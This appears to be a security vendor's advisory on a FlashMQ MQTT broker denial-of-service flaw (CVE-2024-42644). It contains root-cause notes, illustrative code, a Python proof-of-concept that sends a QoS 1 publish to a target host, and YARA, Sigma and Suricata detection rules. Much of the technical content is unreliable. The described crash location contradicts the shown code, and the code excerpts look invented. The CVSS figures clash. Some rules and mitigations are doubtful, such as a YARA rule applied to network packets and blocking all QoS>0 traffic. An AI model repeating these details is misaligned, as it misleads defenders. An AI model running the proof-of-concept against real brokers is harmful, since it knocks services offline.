CVE-2024-42644

Executive Summary

CVE-2024-42644 is a denial-of-service (DoS) vulnerability in FlashMQ v1.14.0, an MQTT broker. The flaw resides in the PublishCopyFactory::getNewPublish function, where an assertion failure occurs when the Quality of Service (QoS) value of a publish object is greater than 0. An unauthenticated attacker can exploit this by sending a crafted MQTT PUBLISH packet with a QoS value of 1 or 2, causing the broker to crash due to a failed assertion. This leads to service disruption for all connected MQTT clients. No patch is currently available, and no public exploit code has been released.

Supply Chain & Package Security

FlashMQ is a C++ MQTT broker distributed as source code. The vulnerability affects version 1.14.0. Users should monitor the official FlashMQ repository for updates and consider applying workarounds such as input validation or using a different MQTT broker until a patch is released.

CVSS Breakdown & Threat Level

CVSS Score: 0.0 (No official vector assigned) Threat Level: Medium (based on impact and ease of exploitation)

Rationale:

• Attack Vector (AV): Network – The vulnerability can be triggered remotely.
• Attack Complexity (AC): Low – No special conditions required.
• Privileges Required (PR): None – No authentication needed.
• User Interaction (UI): None – No user action required.
• Scope (S): Unchanged – The exploit affects only the broker.
• Confidentiality (C): None – No data exposure.
• Integrity (I): None – No data modification.
• Availability (A): High – The broker crashes, causing a denial of service.

Estimated CVSS Vector: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H

Deep Dive & Mechanics

The vulnerability is a reachable assertion in the PublishCopyFactory::getNewPublish function. In C++, assertions are used to check for conditions that should never occur during normal operation. When an assertion fails, the program terminates abruptly.

Root Cause: The function getNewPublish is responsible for creating a copy of a publish object. It contains an assertion that checks the QoS value of the incoming publish packet. The assertion expects the QoS value to be 0 (at most once delivery). However, the MQTT protocol allows QoS values of 0, 1, or 2. By sending a PUBLISH packet with QoS 1 or 2, the assertion fails, causing the broker to crash.

Affected Code Path:

1. An attacker connects to the FlashMQ broker.
2. The attacker sends a PUBLISH packet with QoS set to 1 or 2.
3. The broker processes the packet and calls PublishCopyFactory::getNewPublish.
4. The function asserts that the QoS value is 0.
5. The assertion fails, and the broker terminates.

Impact:

• Denial of service for all connected MQTT clients.
• No data corruption or unauthorized access.

Vulnerable vs. Patched Code

Vulnerable Code (FlashMQ v1.14.0):

// In PublishCopyFactory.cpp
PublishCopyFactory::PublishCopyFactory(const Publish& publish) : publish(publish) {
    assert(publish.qos == 0); // Vulnerable assertion
}

Publish PublishCopyFactory::getNewPublish() {
    // ... copy logic ...
    return publish;
}

Patched Code (Hypothetical fix):

// In PublishCopyFactory.cpp
PublishCopyFactory::PublishCopyFactory(const Publish& publish) : publish(publish) {
    // No assertion; handle QoS values gracefully
}

Publish PublishCopyFactory::getNewPublish() {
    // ... copy logic with proper QoS handling ...
    return publish;
}

Explanation: The fix removes the assertion and adds proper handling for QoS values 1 and 2. The broker should either reject packets with unsupported QoS values or process them correctly without crashing.

Exploitation & Lab Setup

Red Team (Exploitation)

Prerequisites:

• FlashMQ v1.14.0 running on a target host.
• Network access to the MQTT broker (default port 1883).

Exploitation Steps:

1. Install an MQTT client library (e.g., paho-mqtt in Python).
2. Connect to the broker.
3. Send a PUBLISH packet with QoS 1 or 2.

Proof-of-Concept (Python):

import paho.mqtt.client as mqtt

def exploit():
    client = mqtt.Client()
    client.connect("target_ip", 1883, 60)
    # Send a publish with QoS 1 to trigger the assertion
    client.publish("test/topic", "payload", qos=1)
    client.disconnect()

if __name__ == "__main__":
    exploit()

Expected Outcome: The broker crashes immediately upon receiving the packet. All connected clients are disconnected.

Blue Team (Detection & Defense)

Detection:

• Monitor MQTT traffic for packets with QoS > 0.
• Use network intrusion detection systems (NIDS) to flag anomalous MQTT packets.

Defense:

• Apply input validation at the network perimeter to block MQTT packets with QoS > 0.
• Use a Web Application Firewall (WAF) or API gateway to filter MQTT traffic.
• Consider using a different MQTT broker until a patch is available.

Indicators of Compromise (IOCs)

Network IOCs:

• MQTT PUBLISH packets with QoS value of 1 or 2.
• Sudden termination of MQTT broker process.

Host IOCs:

• Broker crash logs containing assertion failure messages.
• Core dump files from the broker process.

Log Example:

Assertion failed: publish.qos == 0, file PublishCopyFactory.cpp, line 42

Detection Engineering

YARA Rule

rule CVE_2024_42644_FlashMQ_DoS {
    meta:
        description = "Detects MQTT packets with QoS > 0 targeting FlashMQ"
        author = "Valters IT"
        date = "2025-04-10"
        reference = "CVE-2024-42644"
    strings:
        $mqtt_publish = { 30 ?? 00 ?? 00 ?? } // MQTT PUBLISH packet header
        $qos1 = { 02 } // QoS 1 flag
        $qos2 = { 04 } // QoS 2 flag
    condition:
        $mqtt_publish and ($qos1 or $qos2)
}

Sigma Rule

title: FlashMQ DoS via QoS Assertion Failure
id: 8a9b3c2d-1e5f-4a7b-8c9d-0e1f2a3b4c5d
status: experimental
description: Detects MQTT packets with QoS > 0 that may trigger CVE-2024-42644
author: Valters IT
logsource:
    category: network
    product: mqtt
detection:
    selection:
        mqtt.publish.qos: 
            - 1
            - 2
    condition: selection
falsepositives:
    - Legitimate MQTT clients using QoS 1 or 2
level: high

Suricata Rule

alert tcp any any -> any 1883 (msg:"CVE-2024-42644 FlashMQ DoS via QoS Assertion"; flow:to_server,established; content:"|30|"; depth:1; content:"|02|"; within:1; sid:1000001; rev:1;)

Remediation & Mitigation

Immediate Mitigation:

• Block MQTT packets with QoS > 0 at the network perimeter using firewall rules or NIDS.
• Use a reverse proxy or MQTT gateway to filter traffic before it reaches the broker.

Long-term Remediation:

• Apply the vendor patch when available.
• Upgrade to a patched version of FlashMQ.
• Consider switching to a more actively maintained MQTT broker (e.g., Mosquitto, EMQX).

Workaround:

• Modify the source code to remove the assertion and handle QoS values gracefully (requires recompilation).

Valters IT
Securing Digital Frontiers